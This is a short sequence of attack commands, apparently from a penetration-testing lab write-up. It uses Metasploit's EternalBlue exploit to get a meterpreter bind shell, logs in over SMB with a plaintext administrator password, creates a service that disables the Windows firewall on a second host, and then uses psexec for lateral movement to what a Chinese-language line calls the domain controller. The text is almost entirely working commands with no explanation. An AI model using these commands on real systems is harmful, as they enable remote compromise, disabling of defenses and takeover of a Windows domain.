use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit
net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.30 start unablefirewall
然后使用SMB协议横向拓展到域控主机
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass Whoami2021
exploit